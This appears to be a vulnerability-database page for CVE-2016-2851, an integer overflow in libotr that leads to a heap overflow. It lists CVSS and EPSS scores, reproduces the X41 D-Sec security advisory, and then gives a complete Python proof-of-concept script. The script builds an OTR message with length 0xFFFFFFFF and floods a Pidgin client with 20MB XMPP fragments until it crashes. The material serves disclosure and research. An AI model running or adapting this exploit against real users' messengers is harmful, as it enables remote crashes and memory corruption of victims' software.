CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Integer overflow in proto.c in libotr before 4.1.1 on 64-bit platforms allows remote attackers to cause a denial of service (memory corruption and application crash) or execute arbitrary code via a series of large OTR messages, which triggers a heap-based buffer overflow.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
9.8
CRITICAL
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
36.8%
–
–
2022-04-03
–
–
36.8%
–
–
2023-03-12
–
–
–
4.16%
–
2023-06-04
–
–
–
3.57%
–
2023-09-24
–
–
–
3.6%
–
2024-04-14
–
–
–
3.6%
–
2024-06-02
–
–
–
3.6%
–
2024-12-15
–
–
–
4.29%
–
2024-12-22
–
–
–
3.28%
–
2025-01-19
–
–
–
3.28%
–
2025-03-18
–
–
–
–
22.03%
2025-03-30
–
–
–
–
24.75%
2025-04-13
–
–
–
–
18.77%
2025-04-13
–
–
–
–
18.77,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2016-03-09 23h00 +00:00 Author : X41 D-Sec GmbH EDB Verified : No
'''
X41 D-Sec GmbH Security Advisory: X41-2016-001
Memory Corruption Vulnerability in "libotr"
===========================================
Overview
--------
Severity Rating: high
Confirmed Affected Version: 4.1.0 and below
Confirmed Patched Version: libotr 4.1.1
Vendor: OTR Development Team
Vendor URL: https://otr.cypherpunks.ca
Vendor Reference: OTR Security Advisory 2016-01
Vector: Remote
Credit: X41 D-Sec GmbH, Markus Vervier
Status: public
CVE: CVE-2016-2851
CVSS Score: 8.1 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/
Summary and Impact
------------------
A remote attacker may crash or execute arbitrary code in libotr by
sending large OTR messages.
While processing specially crafted messages, attacker controlled data on
the heap is written out of bounds.
No special user interaction or authorization is necessary in default
configurations.
Product Description
-------------------
Off-the-Record (OTR) Messaging is a cryptographic protocol used in
well-known instant messaging clients such as Pidgin, ChatSecure, Adium
and others. It is designed to work on top of existing protocols and used
worldwide to provide secure communication in insecure environments.
OTR is regarded as highly secure and according to documents revealed by
Edward Snowden one of the protocols that the NSA is not able to decrypt
via cryptanalysis.
The most commonly used implementation of OTR is "libotr" which is a pure
C code implementation of the OTR protocol.
Analysis
--------
During a manual code review X41 D-Sec GmbH discovered a remotely
exploitable vulnerability in libotr.
By sending large messages, an integer overflow can be triggered which
subsequently leads to a heap overflow on 64 bit architectures.
When a message of type OTRL_MSGSTATE_DATA is received during an
established OTR conversation, this message is passed to function
otrl_proto_accept_data in src/message.c line 1347:
case OTRL_MSGSTATE_ENCRYPTED:
extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);
err = otrl_proto_accept_data(&plaintext, &tlvs, context,
message, &flags, extrakey);
After base64 decoding the message and reading various values from it,
the length of a payload is read into a variable of type "unsigned int"
in file proto.c line 784:
read_int(datalen);
It is checked that the message buffer will contain at least a "datalen"
number of bytes using read_int in proto.c line 785:
require_len(datalen);
The macros "read_int" and "required_len" are defined in src/serial.h:
#define require_len(l) do { \
if (lenp < (l)) goto invval; \
} while(0)
#define read_int(x) do { \
require_len(4); \
(x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] <<
8) | bufp[3]; \
bufp += 4; lenp -= 4; \
} while(0)
4 bytes are read from the message buffer and interpreted as unsigned int
value.
Subsequently a buffer of size datalen+1 is allocated using malloc
in proto.c line 786:
data = malloc(datalen+1);
if (!data) {
err = gcry_error(GPG_ERR_ENOMEM);
goto err;
}
Now data from the message is copied into this buffer using memmove in
line 791:
memmove(data, bufp, datalen);
The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is
read from the message buffer. As datalen is of size 32-bit (unsigned
int) the operation "datalen+1" will wrap around before being passed to
malloc.
This will effectively result in a zero allocation ( malloc(0) ) which is
valid in common implementations of malloc on the x86_64 architecture.
As no addition is done in the value passed to the call to memmove, 4
gigabytes of data are copied out of bounds to the heap location pointed
to by data.
Proof of Concept
----------------
In order to successfully trigger the vulnerability, an attacker must be
able to send a data message of more than 5.5 gigabytes to a victim in
order to pass the check "require_len(datalen)".
Due to the support of fragmented OTR messages assembled by libotr this
is possible in practice. By sending 275 messages of size 20MB each, X41
was able to make libotr process such a data message successfully on a
system with 8GB of ram and 15GB of swap space.
As data types for lenp and other lengths of the message are 64 bit large
size_t types on x86_64 architectures huge messages of multiple gigabytes
are possible.
Sending such a message to a pidgin client took only a few minutes on a
fast network connection without visible signs of any attack to a user.
A proof of concept triggering a heap overwrite and crash in the
pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux
architectures is available[1].
The crash occurs due to the overwrite hitting unmapped memory. Using
techniques such as heap grooming, X41 was able to inflate the heap to
more than 4GB and overwrite function pointers and arguments on the heap
in order to take over control flow. A working exploit will not be
published at this time.
Interaction by users beyond having enabled OTR is not necessary as OTR
sessions are automatically established with anyone by default in Pidgin
and other common software using libotr. This also applies to
unauthorized contacts in most default configurations.
Workarounds
-----------
As a temporary workaround on Linux and BSD systems, the amount of memory
available to the process running libotr may be limited to less than 4GB
via ulimit.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus
on application code reviews, design review and security testing. X41
D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers
in various industries such as finance, software development and public
institutions.
Timeline
--------
2016-02-17 Discovery during a manual code review of "libotr" version 4.1.0
2016-02-17 Initial PoC
2016-02-18 Vendor contacted
2016-02-18 Vulnerability confirmed by vendor
2016-03-03 Vendor patch available
2016-03-04 CVE requested
2016-03-06 CVE-2016-2851 assigned
2016-03-09 Embargo lifted and disclosure
References
----------
[1]
https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py
'''
#!/usr/bin/python -u
#
### PoC libotr heap overwrite on Pidgin
### 2016-02-17 Markus Vervier
### X41 D-Sec GmbH
### initial code taken from pyxmpp examples (echobot.py)
### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger)
### On a loopback interface the exploit took several minutes,
### using XMPP stream compression this could be reduced massively
### pyxmpp does not support it
### We used XMPP connections without TLS to not further complicate the setup
### USAGE
###
### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest"
### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin)
### 2. Disconnect the attacker account
### 3. Fire up this script and let it connect with the attacker account credentials
### 4. Send a message from victim to attacker
### 5. Wait until message sending is complete, pidgin should crash
### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC
### !!! If we would implement full OTR in this script we could send the bad message directly
### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags
import sys
import logging
import locale
import codecs
import os, signal
import time
import base64
def ignore_signal_pipe(signum, frame):
print 'signal pipe caught -- IGNORING'
signal.signal(signal.SIGPIPE, ignore_signal_pipe)
from struct import *
from pyxmpp.all import JID,Iq,Presence,Message,StreamError
from pyxmpp.jabber.client import JabberClient
from pyxmpp.interface import implements
from pyxmpp.interfaces import *
from pyxmpp.streamtls import TLSSettings
from enum import Enum
class EchoHandler(object):
"""Provides the actual 'echo' functionality.
Handlers for presence and message stanzas are implemented here.
"""
implements(IMessageHandlersProvider, IPresenceHandlersProvider)
def __init__(self, client):
"""Just remember who created this."""
self.client = client
def get_message_handlers(self):
"""Return list of (message_type, message_handler) tuples.
The handlers returned will be called when matching message is received
in a client session."""
return [
("normal", self.message),
]
def get_presence_handlers(self):
"""Return list of (presence_type, presence_handler) tuples.
The handlers returned will be called when matching presence stanza is
received in a client session."""
return [
(None, self.presence),
("unavailable", self.presence),
("subscribe", self.presence_control),
("subscribed", self.presence_control),
("unsubscribe", self.presence_control),
("unsubscribed", self.presence_control),
]
def message(self,stanza):
"""Message handler for the component.
Echoes the message back if its type is not 'error' or
'headline', also sets own presence status to the message body. Please
note that all message types but 'error' will be passed to the handler
for 'normal' message unless some dedicated handler process them.
:returns: `True` to indicate, that the stanza should not be processed
any further."""
subject=stanza.get_subject()
body=stanza.get_body()
t=stanza.get_type()
m = 0
print u'Message from %s received.' % (unicode(stanza.get_from(),)),
if subject:
print u'Subject: "%s".' % (subject,),
if body:
print u'Body: "%s".' % (body,),
if t:
print u'Type: "%s".' % (t,)
else:
print u'Type: "normal".'
if stanza.get_type()=="headline":
# 'headline' messages should never be replied to
return True
# record instance tag
if body[:9] == u'?OTR:AAMD':
(self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):])
print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") )
self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag)
return m
def b64maxlen(self, chars):
return 1 + (4 * chars / 3)
def parse_aamc(self, msg):
maxlen = self.b64maxlen(8) # 4 byte integer
print "maxlen %u" % (maxlen)
tmp = msg[0:maxlen]
padding = ""
if maxlen % 4 > 1:
padding = "="*(4-(maxlen % 4))
tmp += padding
print "decoding: "+tmp
packed = base64.b64decode(tmp)
# return unpack("I", packed[0:4])
return (packed[0:4], packed[4:8]) # their tag, our tag
def initial_body(self, instance_tag, our_tag):
ret = "?OTR:AAMD";
raw = b''
print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex"))
#dirty hack
raw += our_tag # sender_nstance_id
raw += instance_tag # receiver_id
raw += "D" # dummy flags
raw += pack("I", 0x1) # sender key id
raw += pack("I", 0x2) # recipient key id
raw += pack("!I", 10) # len next_y
raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;)
raw += "12345678" # reveal sig dummy
# yeah overflow!
raw += pack("I", 0xFFFFFFFF); # datalen
ret += base64.b64encode(raw+"A"*(57-len(raw)))
return ret
def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag):
print "G-FUNK!"
# this should result in about 0xFFFFFFFF times "A" base64 encoded
len_msg = 5726623060
# fix frag size for base64
frag_size = (frag_size / 4) * 4
frag_msg = "QUFB"*(frag_size / 4)
n = len_msg / frag_size
# does not evenly divide?
if len_msg % frag_size > 0:
n += 1
k = 1
n += 1 # initialbody adds another frame
initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag))
print "first fragment: "+initialbody
m = Message(
to_jid=stanza.get_from(),
from_jid=stanza.get_to(),
stanza_type=stanza.get_type(),
subject="foo",
body=initialbody)
self.client.stream.send(m)
k += 1
print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n)
cur_pos = 0
while(cur_pos < len_msg):
body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg)
m = Message(
to_jid=stanza.get_from(),
from_jid=stanza.get_to(),
stanza_type=stanza.get_type(),
subject="foo",
body=body)
print "cur_pos %u of %u" % (cur_pos, len_msg)
self.client.stream.send(m)
k += 1
cur_pos = frag_size * (k-2)
time.sleep(0.9)
print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg)
def presence(self,stanza):
"""Handle 'available' (without 'type') and 'unavailable' <presence/>."""
msg=u"%s has become " % (stanza.get_from())
t=stanza.get_type()
if t=="unavailable":
msg+=u"unavailable"
else:
msg+=u"available"
show=stanza.get_show()
if show:
msg+=u"(%s)" % (show,)
status=stanza.get_status()
if status:
msg+=u": "+status
print msg
def presence_control(self,stanza):
"""Handle subscription control <presence/> stanzas -- acknowledge
them."""
msg=unicode(stanza.get_from())
t=stanza.get_type()
if t=="subscribe":
msg+=u" has requested presence subscription."
elif t=="subscribed":
msg+=u" has accepted our presence subscription request."
elif t=="unsubscribe":
msg+=u" has canceled his subscription of our."
elif t=="unsubscribed":
msg+=u" has canceled our subscription of his presence."
print msg
return stanza.make_accept_response()
class VersionHandler(object):
"""Provides handler for a version query.
This class will answer version query and announce 'jabber:iq:version' namespace
in the client's disco#info results."""
implements(IIqHandlersProvider, IFeaturesProvider)
def __init__(self, client):
"""Just remember who created this."""
self.client = client
def get_features(self):
"""Return namespace which should the client include in its reply to a
disco#info query."""
return ["jabber:iq:version"]
def get_iq_get_handlers(self):
"""Return list of tuples (element_name, namespace, handler) describing
handlers of <iq type='get'/> stanzas"""
return [
("query", "jabber:iq:version", self.get_version),
]
def get_iq_set_handlers(self):
"""Return empty list, as this class provides no <iq type='set'/> stanza handler."""
return []
def get_version(self,iq):
"""Handler for jabber:iq:version queries.
jabber:iq:version queries are not supported directly by PyXMPP, so the
XML node is accessed directly through the libxml2 API. This should be
used very carefully!"""
iq=iq.make_result_response()
q=iq.new_query("jabber:iq:version")
q.newTextChild(q.ns(),"name","Echo component")
q.newTextChild(q.ns(),"version","1.0")
return iq
class Client(JabberClient):
"""Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient`
class as base. That class provides basic stream setup (including
authentication) and Service Discovery server. It also does server address
and port discovery based on the JID provided."""
def __init__(self, jid, password, tls_cacerts):
# if bare JID is provided add a resource -- it is required
if not jid.resource:
jid=JID(jid.node, jid.domain, "attacktest")
if tls_cacerts:
if tls_cacerts == 'tls_noverify':
tls_settings = TLSSettings(require = True, verify_peer = False)
else:
tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts)
else:
tls_settings = None
# setup client with provided connection information
# and identity data
JabberClient.__init__(self, jid, password,
disco_name="PyXMPP example: echo bot", disco_type="bot",
tls_settings = tls_settings)
# add the separate components
self.interface_providers = [
VersionHandler(self),
EchoHandler(self),
]
def stream_state_changed(self,state,arg):
"""This one is called when the state of stream connecting the component
to a server changes. This will usually be used to let the user
know what is going on."""
print "*** State changed: %s %r ***" % (state,arg)
def print_roster_item(self,item):
if item.name:
name=item.name
else:
name=u""
print (u'%s "%s" subscription=%s groups=%s'
% (unicode(item.jid), name, item.subscription,
u",".join(item.groups)) )
def roster_updated(self,item=None):
if not item:
print u"My roster:"
for item in self.roster.get_items():
self.print_roster_item(item)
return
print u"Roster item updated:"
self.print_roster_item(item)
# XMPP protocol is Unicode-based to properly display data received
# _must_ convert it to local encoding or UnicodeException may be raised
locale.setlocale(locale.LC_CTYPE, "")
encoding = locale.getlocale()[1]
if not encoding:
encoding = "us-ascii"
sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace")
sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace")
# PyXMPP uses `logging` module for its debug output
# applications should set it up as needed
logger = logging.getLogger()
logger.addHandler(logging.StreamHandler())
logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity
if len(sys.argv) < 3:
print u"Usage:"
print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],)
print "example:"
print "\t%s test@localhost verysecret" % (sys.argv[0],)
sys.exit(1)
print u"creating client..."
c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None)
print u"connecting..."
c.connect()
print u"looping..."
try:
# Component class provides basic "main loop" for the applitation
# Though, most applications would need to have their own loop and call
# component.stream.loop_iter() from it whenever an event on
# component.stream.fileno() occurs.
c.loop(1)
except IOError, e:
if e.errno == errno.EPIPE:
# IGNORE EPIPE error
print "PIPE ERROR -- IGNORING"
else:
pass
except KeyboardInterrupt:
print u"disconnecting..."
c.disconnect()
print u"exiting..."
# vi: sts=4 et sw=4